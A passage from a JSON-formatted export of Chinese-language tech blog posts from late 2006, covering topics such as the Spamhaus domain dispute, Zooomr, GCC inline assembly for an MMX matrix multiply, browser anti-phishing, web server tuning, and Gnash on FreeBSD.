href=\"http://www.icann.org/\" rel=\"tag\">ICANN</a> 執行就可以達到你的目的。對此 <a href=\"http://www.icann.org/\" rel=\"tag\">ICANN</a> 決定踢皮球，說 <a href=\"http://www.icann.org/\" rel=\"tag\">ICANN</a> 本身沒有權力做這種事情，有事情請找 Registar (以這個案例來說，是 Tucows Inc.)：<a href=\"http://slashdot.org/it/06/10/11/1448235.shtml\">ICANN Grants Temporary Reprieve to Spamhaus</a>。\r\n\r\n雖然大家很不滿由美國法院來處理 Internet 上的事情，但目前看起來沒有其他的解法。在前陣子，法院裁定了「將 <a href=\"http://www.spamhaus.org/\" rel=\"tag\">Spamhaus</a> 的 Domain 直接停掉是一種過度裁定」而暫時告一段落：<a href=\"http://slashdot.org/yro/06/10/22/0339211.shtml\">Judge Rules In Favor Of Spamhaus</a>。\r\n\r\n但整件事情還沒有結束，許多人仍然在研究要如何避免同樣的事情再度上演。",
    "title": "Spamhaus 的情況"
  },
  {
    "id": "851",
    "body": "<a href=\"http://flickr.com/photos/gslin/280198749/\"><img src=\"http://static.flickr.com/103/280198749_0634f6bc98.jpg\" alt=\"\" /></a>\r\n\r\n照 <a href=\"http://blog.yam.com/syshen/\" rel=\"tag\">syshen</a> 的說法 (<a href=\"http://blog.yam.com/syshen/archives/2366383.html\">犯小人？</a>)，我的禮貌大概從去年就沒有了，因為我從去年開始就沒有辦法在我弟的 Blog 上留言... (也在 <a href=\"http://blog.yam.com/\" rel=\"tag\">養樂多</a> 上)\r\n\r\nAnyway，這篇會試看看 http://cgi.blog.yam.com/trackback/2366383，也許會比較清楚一點...\r\n\r\n<strong>Update</strong>：<a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 送出。\r\n\r\n<a href=\"http://flickr.com/photos/gslin/280209944/\"><img src=\"http://static.flickr.com/68/280209944_e2e7e9338e.jpg\" alt=\"\" /></a>\r\n\r\n五分鐘後的樂多：\r\n\r\n<a href=\"http://flickr.com/photos/gslin/280211413/\"><img src=\"http://static.flickr.com/120/280211413_9371d4c49b.jpg\" alt=\"\" /></a>",
    "title": "禮貌？"
  },
  {
    "id": "852",
    "body": "如果把 wkwu 忽略掉的話，<a href=\"http://www.zooomr.com/\" rel=\"tag\">Zooomr</a> 的 Downtime 說明讓我想到 <a href=\"http://www.wretch.cc/\" rel=\"tag\">無名小站</a> 在 Downtime 延長時說明的風格，還蠻像的...：<a href=\"http://blog.zooomr.com/2006/10/27/still-working-on-our-servers-we-are-very-very-sorry/\">Still Working On Our Servers, We Are Very, Very Sorry</a>。",
    "title": "Zooomr 的 Downtime..."
  },
  {
    "id": "853",
    "body": "<strong>Update</strong>：感謝某長輩提醒，標題從「Unix 環境下的 Inline Assembly」改成「GCC 裡的 Inline Assembly」。\r\n\r\n從大二修 Assembly 後就很久沒寫組語了，當時修的時候還是用 Intel 語法寫，就一直沒學到 AT&amp;T 語法，後來從網路上看也只知道 src 與 dst 的位置通常是相反的，以及 register 前面要用 % 修飾，其他的像是記憶體的定址要怎麼寫都不知道，所以在 Unix 下一直不會寫 Assembly...\r\n\r\n前幾天有個學弟剛好在寫作業，要用 MMX 計算一個整數 Vector (看做是 1*n 的 Matrix) 乘上整數 Matrix (n*n) 的結果 (其中 n 會是 4 的倍數，另外每個整數都是 16 bits)，趁著這個機會摸索 GCC 裡要怎麼寫 Inline Assembly，以及 AT&amp;T 語法與 Intel 語法不同的地方...\r\n\r\n這是剛摸索出來怎麼寫，基本上請不要太要求... :p 編譯環境是 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 6.1 系統內附的 GCC (gcc version 3.4.4 [FreeBSD] 20050518)。\r\n<blockquote><pre>void matrixMMX(const unsigned int n,\r\n    const uint16_t const *vec, const uint16_t const *mat,\r\n    uint16_t *result)\r\n{\r\n    const unsigned int n2 = n / (64 / 16);\r\n\r\n    // First empty the result array\r\n    bzero(result, sizeof(uint16_t) * n);\r\n\r\n    asm volatile(\"\\\\\r\n        mov %1, %%edi;\\\\\r\n        mov %3, %%ecx;\\\\\r\n        mov %2, %%edx;\\\\\r\nloop1:\\\\\r\n        mov %0, %%esi;\\\\\r\n        push %%ecx;\\\\\r\n        mov %4, %%ecx;\\\\\r\nloop2:\\\\\r\n        movq (%%esi), %%mm0;\\\\\r\n        pmaddwd (%%edi), %%mm0;\\\\\r\n\\\\\r\n        movd %%mm0, %%eax;\\\\\r\n        mov %%eax, %%ebx;\\\\\r\n        shr $16, %%eax;\\\\\r\n        add %%ax, %%bx;\\\\\r\n        add %%bx, (%%edx);\\\\\r\n\\\\\r\n        psrlq $32, %%mm0;\\\\\r\n\\\\\r\n        movd %%mm0, %%eax;\\\\\r\n        mov %%eax, %%ebx;\\\\\r\n        shr $16, %%eax;\\\\\r\n        add %%ax, %%bx;\\\\\r\n\\\\\r\n        add %%bx, (%%edx);\\\\\r\n\\\\\r\n        add $8, %%edi;\\\\\r\n        add $8, %%esi;\\\\\r\n        loop loop2;\\\\\r\n\\\\\r\n        add $2, %%edx;\\\\\r\n        pop %%ecx;\\\\\r\n        loop loop1;\\\\\r\n\\\\\r\n        emms;\"::\r\n        \"X\"(vec), \"X\"(mat), \"X\"(result), \"X\"(n), \"X\"(n2):\r\n        \"eax\", \"ebx\", \"ecx\", \"edx\", \"esi\", \"edi\", \"mm0\");\r\n}</pre></blockquote>",
    "title": "GCC 裡的 Inline Assembly"
  },
  {
    "id": "854",
    "body": "剛剛發現這次停機後 <a href=\"http://www.zooomr.com/\" rel=\"tag\">Zooomr</a> 有繁體中文介面了：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/300962\"><img src=\"http://static.zooomr.com/images/300962_cb18a1e72e.jpg\" alt=\"\" /></a>\r\n\r\n不過有幾個缺點：\r\n<ul>\r\n\t<li>一般的字 (不是標題的地方) 字太小，這種大小對英文字型還可以，但對中文字形看起來很吃力。</li>\r\n\t<li>版面太亂，不過這個問題從以前到現在就不是網站會不會成功的重點。</li>\r\n</ul>\r\n<a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 對於 l10n 反而都沒有動作... 所以該寫從 <a href=\"http://www.wretch.cc/album/\" rel=\"tag\">無名相簿</a> 完整轉移至 <a href=\"http://www.zooomr.com/\" rel=\"tag\">Zooomr</a> 的工具了嗎？:p\r\n\r\n<strong>Update</strong>：在官方的 Blog 上有說明：<a href=\"http://blog.zooomr.com/2006/10/28/hello-taiwanese-hk-macau-friends/\">嗨, 來自台、港、澳的朋友 / Hello Taiwanese, H.K. & Macau Friends</a>。",
    "title": "Zooomr 繁體中文"
  },
  {
    "id": "855",
    "body": "<a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 2.0 的防釣魚有兩種選擇，一種是讓 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 每隔一段時間自動下載名單，這是預設值，另外一種則是利用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的資料庫查詢。(我覺得要在安裝的時候就讓使用者選會比較好 :/)\r\n\r\n而 IE 7.0 我沒有找到設定的地方，不知道是不是用 <a href=\"http://www.msn.com/\" rel=\"tag\">MSN</a> 提供的資料庫查詢...\r\n\r\nAnyway，我前陣子特地到 Spam 資料夾翻 Phishing 的信件，發現 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> (上圖) 更新得相當快，而 <a href=\"http://www.msn.com/\" rel=\"tag\">MSN</a> (下圖) 的就...\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/295030\"><img src=\"http://static.zooomr.com/images/295030_7d5083f8e3.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/295031\"><img src=\"http://static.zooomr.com/images/295031_28e6c7921b.jpg\" alt=\"\" /></a>",
    "title": "Firefox 2.0 與 IE 7.0 的防釣魚功能"
  },
  {
    "id": "856",
    "body": "在 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">蔡依林的部落格</a> 上看到的好東西：<a href=\"http://blog.ijliao.info/archives/2006/10/30/2656/\">網頁瀏覽加速法</a>。\r\n\r\n裡面大多數都是提到 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a>，我找了一下 IE7 與 IE6 的設定，裡面都沒看到 HTTP Pipeline 的設定，所以是不支援，還是有支援但是關不掉？XD\r\n\r\n(以下開始岔題)\r\n\r\n如果網站的連線數量夠大的話，千萬不要想不開跑去用 <a href=\"http://httpd.apache.org/\" rel=\"tag\">Apache</a> (1.3.x 或是 2.x 的 Prefork MPM)，安裝是很方便，但生活可以更好。\r\n\r\n因為傳統的 Prefork MPM 一個連線進來就要一隻 httpd 服務，當有上千個連線的時候，就代表有上千個 httpd... 如果 httpd 又包含著 mod_php4 或 mod_php5 的時候，你可以想像會發生什麼事情... :p\r\n\r\n可以改進的地方是改用 <a href=\"http://httpd.apache.org/\" rel=\"tag\">Apache</a> 2.x 的 Worker MPM，一個連線一個 Thread，而不是一個連線一個 Process，再加上 mod_fastcgi + php-fastcgi，這樣可以兼顧使用者要用 <code>.htaccess</code> 以及 PHP 不是 Thread-safe 的問題，同時也可以提升效率。(有人說 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 本身已經是 Thread-safe，但 extensions 的部份不保證是，所以還是用 <a href=\"http://www.fastcgi.com/\" rel=\"tag\">FastCGI</a> 隔開吧)\r\n\r\n目前看到最好的方法還是直接用 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> + php-fastcgi，這樣就得放棄 <code>.htaccess</code>，不過這對 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 沒有影響，因為 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 自己可以處理 mod_rewrite 要做的工作，所以... :)",
    "title": "網頁瀏覽加速法"
  },
  {
    "id": "857",
    "body": "郵局 WebATM 的 ActiveX 給 <a href=\"http://www.hitrust.com.tw/\" rel=\"tag\">HiTrust</a> 簽但是 IE7 不會過？\r\n\r\n(注意 unverified 的字樣)\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/308689\"><img src=\"http://static.zooomr.com/images/308689_7ebc8bbf99.jpg\" alt=\"\" /></a>\r\n\r\n點下去之後的比較明顯：(<a href=\"http://www.zooomr.com/\" rel=\"tag\">Zooomr</a> 幹嘛縮圖啊，!@#$%^...)\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/308690\"><img src=\"http://static.zooomr.com/images/308690_cac0db085c_m.jpg\" alt=\"\" /></a>",
    "title": "郵局的 ActiveX"
  },
  {
    "id": "858",
    "body": "為了減少 Runtime function 的效率損耗問題，C 語言的 macro 一直都有許多有趣的 library，像是 <a href=\"http://www.citi.umich.edu/u/provos/\" rel=\"tag\">Niels Provos</a> 寫的 RB tree。(在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的 <code>/usr/include/sys/tree.h</code> 有一份 copy)\r\n\r\n我用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找了一下中文文件，好像沒有人對於這些比較特殊的 macro 用法提供中文的說明，所以我就寫了一些簡單的範例，希望以後不會再看到 C/P 的密技又出現... :p\r\n<ul>\r\n\t<li><a href=\"http://blog.gslin.com/2006/11/c-macro-part-i.html\">一些 C Macro 的技巧 (Part I：不定變數)</a></li>\r\n\t<li><a href=\"http://blog.gslin.com/2006/11/c-macro-part-ii.html\">一些 C Macro 的技巧 (Part II：將傳入的參數變成字串)</a></li>\r\n\t<li><a href=\"http://blog.gslin.com/2006/11/c-macro-part-iii.html\">一些 C Macro 的技巧 (Part III：將傳入的參數名稱變化)</a></li>\r\n</ul>",
    "title": "C 的 macro"
  },
  {
    "id": "859",
    "body": "我記得 <a href=\"http://www.zooomr.com/\" rel=\"tag\">Zooomr</a> 的容量是 50MB/month (每個月提供 50MB 的空間讓你上傳)，剛剛發現變成 100MB/month 了？\r\n\r\n拿來放 Screenshot 愈來愈方便了？(真是糟糕... :p)",
    "title": "Zooomr 的容量"
  },
  {
    "id": "860",
    "body": "<a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 5.2.0 出版：<a href=\"http://www.php.net/releases/5_2_0.php\">PHP 5.2.0 Release Announcement</a>。\r\n\r\n這個版本宣佈將不再對 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 5.1 提供支援，所以請廣大的 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 使用者們儘快升級到 5.2：\r\n<blockquote>All users of PHP, especially those using earlier PHP 5 releases are advised to upgrade to this release as soon as possible. This release also obsoletes the 5.1 branch of PHP.</blockquote>\r\n升級須知在 <a href=\"http://www.php.net/UPDATE_5_2.txt\">PHP 5.2 UPDATE INFO</a> 這裡有，可能會有些 code 要修改也可以在裡面查到。",
    "title": "PHP 5.2.0 出版"
  },
  {
    "id": "861",
    "body": "Jason Dixon 在 NYBSDCon 2006 所講的 <a href=\"http://talks.dixongroup.net/nycbsdcon2006/\">BSD is Dying</a>，內有影片可以看 (從投影片 + 現場錄音轉出來的)，建議抓 QuickTime 版本的影片，比較小而且比較清楚... XD\r\n\r\n<strong>Update</strong>：佳評如潮，看過的都說好，瞭解的愈多會愈有體會 XD",
    "title": "BSD is Dying"
  },
  {
    "id": "863",
    "body": "難得看到 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 服務爛掉的畫面：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/337798\"><img src=\"http://static.zooomr.com/images/337798_e6cc9c8a75.jpg\" alt=\"\" /></a>",
    "title": "Flickr 故障？"
  },
  {
    "id": "864",
    "body": "打開 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 發現兩千個 entry 未讀，errr，怎麼幾個月就來一次啊... @_@",
    "title": "Bloglines 怪怪的..."
  },
  {
    "id": "865",
    "body": "<a href=\"http://news.netcraft.com/\" rel=\"tag\">Netcraft</a> 統計的 Web Server 報告是一項指標，頗具有參考價值。前幾天他們公布了 <a href=\"http://news.netcraft.com/archives/2006/11/01/november_2006_web_server_survey.html\">十一月的 Web Server 報告</a>，在報告裡指出 Website 數量突破一億：\r\n<blockquote>In the November 2006 survey we received responses from 101,435,253 sites, up from 97.9 million sites last month.</blockquote>\r\n另外就是 <a href=\"http://httpd.apache.org/\" rel=\"tag\">Apache Server</a> 的比重不斷的在下降，而 Microsoft IIS 的比重則不斷的在上升 :p (兩者的「總數」都是在上升)",
    "title": "一億個 Website"
  },
  {
    "id": "866",
    "body": "<a href=\"https://www.paypal.com/\" rel=\"tag\">PayPal</a> 是 <a href=\"http://www.ebay.com/\" rel=\"tag\">eBay</a> 的業務之一，提供網路上的金流服務。\r\n\r\n目前在台灣最常用的應該是透過信用卡支付到 <a href=\"https://www.paypal.com/\" rel=\"tag\">PayPal</a> 上，再用 <a href=\"https://www.paypal.com/\" rel=\"tag\">PayPal</a> 付款給他人的服務，這樣可以避免信用卡卡號交給對方所產生的危險性。\r\n\r\n剛剛在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"https://www.paypal.com/\" rel=\"tag\">PayPal</a> 在加州 <a href=\"http://en.wikipedia.org/wiki/San_Jose%2C_California\" rel=\"tag\">San Jose</a> 的總部外被放置炸彈且爆炸的新聞：<a href=\"http://slashdot.org/it/06/11/01/169217.shtml\">Bomb Explodes At PayPal Headquarters</a>，爆炸的威力相當大，所幸只有一個人受傷，目前還不清楚放置炸彈的兇手及放置的目的。",
    "title": "PayPal 總部外被放置炸彈"
  },
  {
    "id": "867",
    "body": "DRM 一定能無失真移除，但要花時間寫移除的軟體。所以在 Internet 上找的到的移除軟體都只能處理比較有名的 DRM。\r\n\r\n像是搞定 iTune FairPlay 的 <a href=\"http://en.wikipedia.org/wiki/QTFairUse\" rel=\"tag\">QTFairUse</a> (名字取的真好)，或是搞定 Microsoft DRM 的 <a href=\"http://fileforum.betanews.com/detail/FairUse4WM\" rel=\"tag\">Fairuse4WM</a>，都可以在無失真的情況下把 DRM 移除。\r\n\r\n但對於小廠商自己搞的 DRM 因為沒有人寫，就沒辦法直接針對檔案移除掉 DRM 的部分了。而 <a href=\"http://analogwhole.com/\" rel=\"tag\">AnalogWhole</a> 則是希望利用不同的方法來解決這個問題：在 Windows 上直接透過音效卡的 Driver 層將輸出的音樂再抓下來達成無失真撥除 DRM 的任務 :)",
    "title": "AnalogWhole"
  },
  {
    "id": "869",
    "body": "想要用我的 Combo 機燒個 <a href=\"http://www.debian.org/\" rel=\"tag\">Debian</a> 3.1r3 與 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 6.2-BETA2 的開機光碟，之前在 <a href=\"http://blog.gslin.org/archives/2006/01/02/282/\">免費的 CD/DVD 燒錄軟體</a> 這篇講的 <a href=\"http://www.cdburnerxp.se/\" rel=\"tag\">CDBurnerXP Pro</a> 對於我的 USB 外接燒錄機一直有問題(Desktop 倒是沒什麼問題，用得還算愉快)，但是又不想裝肥大的 <a href=\"http://www.nero.com/\" rel=\"tag\">Nero</a>。\r\n\r\n結果反過來去用 <a href=\"http://www.burnatonce.net/\" rel=\"tag\">burnatonce</a> 這套燒錄軟體，軟體不大，只能燒 image 或直接互相 copy。測了一下也沒什麼問題，不過預設會用最高速燒 (在我這台上面是 24x)，會有問題，要自己改成 16x。",
    "title": "burnatonce"
  },
  {
    "id": "870",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 利用 Microsoft Update 反攻，將 IE7 放入 High Priority Update，使得許多電腦會因為預設值而自動更新：<a href=\"http://slashdot.org/it/06/11/02/1424203.shtml\">IE7 Released As High-Priority Update</a>。\r\n\r\n接下來要看十二月的時候 IE 佔有率的情況了...。",
    "title": "IE7 放入 High Priority Update"
  },
  {
    "id": "871",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 看到在南韓由 LG 所經營的 ISP <a href=\"http://www.powercomm.com/\" rel=\"tag\">Powercomm</a> 阻擋 <a href=\"http://www.hanatv.co.kr/\" rel=\"tag\">hanaTV</a> 的 VOD 服務：<a href=\"http://www.boingboing.net/2006/11/04/korean_isp_commits_n.html\">Korean ISP commits neutricide</a>。\r\n\r\n韓國的環境跟台灣很像 (包括貪污...？)，這件事情要注意看韓國會怎麼處理了...",
    "title": "韓國 ISP 的「網路中立性」"
  },
  {
    "id": "872",
    "body": "今天在 Desktop 上弄 X-Window，字型的部份想再調整看看... 先來張審查砲彈：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/364103\"><img src=\"http://static.zooomr.com/images/364103_93052b534c.jpg\" alt=\"\" /></a>",
    "title": "X-Window"
  },
  {
    "id": "873",
    "body": "在 <a href=\"http://torrentfreak.com/\" rel=\"tag\">TorrentFreak</a> 上看到兩則消息，剛好可以放在一起看：\r\n<ul>\r\n\t<li><a href=\"http://torrentfreak.com/privacy-prevails-german-isp-forced-to-delete-ip-logs/\">Privacy Prevails: German ISP Forced To Delete IP Logs</a>：德國的最高法院認定 <a href=\"http://www.t-online.de/\" rel=\"tag\">T-Online</a> 在收到客戶要求刪除紀錄時必須服從。(這邊指的是動態 IP 與客戶的對應)</li>\r\n\t<li><a href=\"http://torrentfreak.com/danish-isp-forced-to-censor-the-internet/\">Danish ISP forced to censor the Internet</a>：丹麥的 IFPI 上法院要求 ISP 阻擋 AllofMP3.com (俄國的音樂下載站台)，而法院也如此裁定，但 ISP 決定上訴。</li>\r\n</ul>",
    "title": "兩則與網路有關的新聞"
  },
  {
    "id": "874",
    "body": "早上翻 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 看到一堆好笑的東西 XD\r\n\r\n舉個例子來說好了，<a href=\"http://www.technorati.com/\" rel=\"tag\">Technorati</a> 公佈了十月的 Blog 成長資料 (<a href=\"http://technorati.com/weblog/2006/11/161.html\">State of the Blogosphere, October, 2006</a>)：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/367214\"><img src=\"http://static.zooomr.com/images/367214_04ce958c7d.jpg\" alt=\"\" /></a>\r\n\r\n而轉頭看到 <a href=\"http://blog.outer-court.com/archive/2006-11-07-n10.html\" rel=\"tag\">Google Blogoscoped</a> 這篇 <a href=\"http://blog.outer-court.com/archive/2006-11-07-n10.html\">Blog Growth</a> 就當場噴飯了 XD\r\n\r\n<a href=\"http://beta.zooomr.com/photos/20228@Z01/367217\"><img src=\"http://static.zooomr.com/images/367217_c9a411b294.jpg\" alt=\"\" /></a>\r\n\r\n我們都知道成長的都是 Spam Blog，但是你也不用畫的這麼清楚啊 XD XD XD",
    "title": "Blog 的成長"
  },
  {
    "id": "875",
    "body": "<a href=\"http://diveintomark.org/\" rel=\"tag\">Mark Pilgrim</a> 的 <a href=\"http://diveintomark.org/archives/2006/10/31/ugc\">User-generated content</a> 這篇很酸 :p\r\n<blockquote>Stands for \"user-generated content,\" a new form of online scam in which you make all the content, and we keep all the money.</blockquote>\r\n在講 <a href=\"http://reddit.com/\" rel=\"tag\">reddit</a> 被收購的事情... :p",
    "title": "Web 2.0"
  },
  {
    "id": "876",
    "body": "以前在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上是透過 Linux Emulator 跑 Linux 版的 Flash Plugins，但由於 <a href=\"http://www.adobe.com/\" rel=\"tag\">Adobe</a> 不願意授權 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 使用這種方式執行，所以 FreeBSD 就從 ports 把 linux-flashplugin* 移除掉了。(參考 <a href=\"http://blog.23corner.com/2006/04/10/1420/\">Linux flash plugin 從 ports 中移除</a> 這篇)\r\n\r\n於是在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上要看 Flash 就只剩下 Gnash 這個東西了，問題是這東西 ports 做的非常爛，光是要讓他「能動」就要兩個 patch：\r\n<ul>\r\n\t<li>由於不知名原因，有時候在 options 選單選了 PLUGIN 後，<code>WITH_PLUGIN</code> 這個變數還是不會被設定，這造成不管怎麼裝，Firefox Plugin 一直不會裝進去。我的解法是在 <code>/usr/local/etc/ports.conf</code> (這是因為我有裝 sysutils/portconf) 直接硬設 <code>WITH_PLUGIN=true</code>。</li>\r\n\t<li>Firefox 2.0 預設是裝到 <code>/usr/local</code> 下，但 Gnash 則是裝到 <code>/usr/X11R6</code>，於是你必須手動將 <code>/usr/X11R6/lib/browser_plugins/</code> 下的 <code>libgnashplugin.so</code> 建一個 symbolic link 到 <code>/usr/local/lib/browser_plugins/</code> 下。</li>\r\n</ul>\r\n除此之外，裝完以後發現在 <code>/etc/X11/xorg.conf</code> 裡面要把 Load \"glx\" 打開...。\r\n\r\n結果 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 開起來後發現還是不能看，因為現在不支援直接內嵌在 Browser 裡面的情況，zzzz... (他會告訴你已經下載到 <code>/tmp</code> 下了，你可以直接跑 XD)\r\n\r\n然後抓 <a href=\"http://gslin.org/wp-content/zookeeper.swf\" rel=\"tag\">zookeeper</a> 來玩發現超慢 (也有可能是機器慢啦，那台機器才 AMD Duron 800 而已)，而且不能正常運作... 我還是回 Windows 上玩 zookeeper 好了... XD",
    "title": "Gnash"
  },
  {
    "id": "877",
    "body": "看標題應該就猜的出來是透過手機移動的速度來偵測塞車的狀況。\r\n\r\n兩家亞特蘭大的業者已經開始使用這項技術偵測，不過看他們的說明似乎還不是很準確 (在不靠 GPS 的情況下準確度大約在 330 feet，大約一百米的距離)：<a href=\"http://slashdot.org/yro/06/11/05/2220211.shtml\">Tracking Traffic Jams With Cell Phones</a>。\r\n\r\n不過隱私的問題可能要再解決。",
    "title": "利用行動電話來偵測塞車"
  },
  {
    "id": "878",
    "body": "本來在 X-Window 下都是用 <a href=\"http://zh.wikipedia.org/wiki/Xcin\" rel=\"tag\">xcin</a> 2.5 輸入中文 (用習慣了)，不過這次想用 OverTheSpot 但一直找不出問題在哪裡，就決定去找其他的輸入法軟體看看... 像是 scim，以及 <a href=\"http://www.csie.nctu.edu.tw/~cp76/gcin/\" rel=\"tag\">gcin</a>。\r\n\r\n看了一下，發現 <a href=\"http://www.csie.nctu.edu.tw/~cp76/gcin/\" rel=\"tag\">gcin</a> 似乎不會很難安裝，而且我也只用注音輸入法 (要有自動選詞的功能)，裝起來發現比起 <a href=\"http://zh.wikipedia.org/wiki/Xcin\" rel=\"tag\">xcin</a> 簡單多了，於是我就跳槽到 <a href=\"http://www.csie.nctu.edu.tw/~cp76/gcin/\" rel=\"tag\">gcin</a> 啦...。",
    "title": "改用 gcin"
  },
  {
    "id": "879",
    "body": "BBS 文章轉上 Web 後可能會被 Search Engine 收錄，於是交大就發生有人在 BBS 個人板紀錄 Windows 序號後就被轉出去了 XD\r\n\r\n就道理上來說，公開板的文章本來就是公開的，轉到 BBS 上當然是 okay 的。但以台灣特殊的 BBS 文化來說，有很多人申請公開的個人板只是方便讓大家聯絡，並不會想到在上面丟電話號碼 (!) 或是序號 (!!) 會出事。\r\n\r\n其中一種解法是用 robots.txt 請 Search Engine 不要掃，不過這個解法在目前並不好，因為有些搜尋引擎是不看 robots.txt 的。(這是不太禮貌的行為，不過現實生活中總是有流氓的...)\r\n\r\n比較好的解法仍然是提供這項功能，但在申請看板的時候就要求使用者選擇，而已經成立的看板則是預設關掉。避免使用者在不知情的情況下被打槍... :p",
    "title": "BBS 看板文章轉上 Web"
  },
  {
    "id": "881",
    "body": "剛剛在家裡發現 ADSL 不通，看了一下 smokeping 的紀錄，大約從 11:45 就不通了，很直覺的重開 ADSL router，但並沒有恢復，用 mtr 發現不是線路的問題 (已經出去兩個點了)，而是網路的問題，就丟著不管，反正 notebook 還有 <a href=\"http://www.cht.com.tw/\" rel=\"tag\">中華電信</a> 的 3G 網路可以用... (真墮落)\r\n\r\nAnyway，剛剛發現網路回來了，仔細看了一下發現是換了 IP address，從原本的 203.72.38.x 換到 140.113.83.x 了，這樣的好處就是可以直接走交大自己買的國際頻寬了，不過有個 P-Cube 在前面擋著前面...\r\n\r\n另外一個好處是查論文資料也比較方便，要取得全文的時候不用再透過系上的 VPN 取得 140.113 的 IP 再抓。\r\n\r\n先放著看看吧 :p",
    "title": "交大台北 ADSL 換 IP Address"
  },
  {
    "id": "882",
    "body": "問一下 <a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a> 上發展 Web 的 Framework 除了這幾個以外還有什麼嗎？另外就是問一下用的怎麼樣？因為在網路上看到來看去都是 RoR... :p\r\n<ul>\r\n\t<li><a href=\"http://search.cpan.org/dist/Jifty/\" rel=\"tag\">Jifty</a></li>\r\n\t<li><a href=\"http://search.cpan.org/dist/Gantry/\" rel=\"tag\">Gantry</a></li>\r\n\t<li><a href=\"http://search.cpan.org/dist/Maypole/\" rel=\"tag\">Maypole</a></li>\r\n</ul>",
    "title": "Perl 上的 Web Framework"
  },
  {
    "id": "883",
    "body": "這幾天在學術網路內查 <a href=\"http://tw.yahoo.com/\" rel=\"tag\">tw.yahoo.com</a> 會發現搬到其他地方了 (<a href=\"http://www.akamai.com/\" rel=\"tag\">Akamai</a>？)，但是新的地點對國內的 routing 沒有設定好 (沒有直接的 peering 加上沒有人幫忙放 routing)，於是造成了學術網路過去都是走國際線路...\r\n\r\n這個情況大約兩天了，到底什麼時候才會有人要解決 @_@",
    "title": "tw.yahoo.com 的移動"
  },
  {
    "id": "884",
    "body": "昨天跟 <a href=\"http://plog.longwin.com.tw/\" rel=\"tag\">jon</a>，<a href=\"http://plog.longwin.com.tw/\" rel=\"tag\">jon</a> 的老婆，<a href=\"http://360.yahoo.com/mingchiaolee\" rel=\"tag\">mclee</a>，<a href=\"http://blog.pixnet.net/far\" rel=\"tag\">far</a> 一起吃燒肉 (<a href=\"http://360.yahoo.com/mingchiaolee\" rel=\"tag\">mclee</a> 已經把照片丟上 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 了：<a href=\"http://www.flickr.com/photos/georgelee/sets/72157594368012172/\">2006/11/09 貳兩</a>)，聊到 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 這套紅透半邊天的 Web Server 的時候，發現好像很多人都不知道 <a href=\"http://jan.kneschke.de/\" rel=\"tag\">Jan Kneschke</a> 在 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL AB</a> 上班，而且聽到後都還很意外 XD\r\n\r\nPS：關於 <a href=\"http://jan.kneschke.de/\" rel=\"tag\">Jan Kneschke</a> 比較完整的資料，請參考 <a href=\"http://jan.kneschke.de/me/\">about jan kneschke</a> 這頁的說明。",
    "title": "lighttpd 的作者"
  },
  {
    "id": "885",
    "body": "1998 年的時候 <a href=\"http://www.netcraft.com.au/geoffrey/\" rel=\"tag\">Geoffrey D. Bennett</a> 買了台 <a href=\"http://www.toshiba.com/\" rel=\"tag\">Toshiba</a> 的筆記電腦，裡面附上 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> Windows，他看過 EULA 後決定依照 EULA 內提供的退貨條款退掉 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> Windows 並取回「微軟稅」，跟 <a href=\"http://www.toshiba.com/\" rel=\"tag\">Toshiba</a> 的人打交道。後來他成功退掉這筆費用，將整個故事放到網路上：<a href=\"http://www.netcraft.com.au/geoffrey/toshiba.html\">Toshiba/Microsoft Saga</a>，這份看起來很長的英文故事有翻成中文版，叫做「東芝微軟戰記」：<a href=\"http://bbs.ee.ntu.edu.tw/boards/Linux/19/1/2/\">◆ 東芝微軟戰記</a>。\r\n\r\n2006 年，<a href=\"http://www.microsoft.com/\" rel=\"tag\">微軟</a> 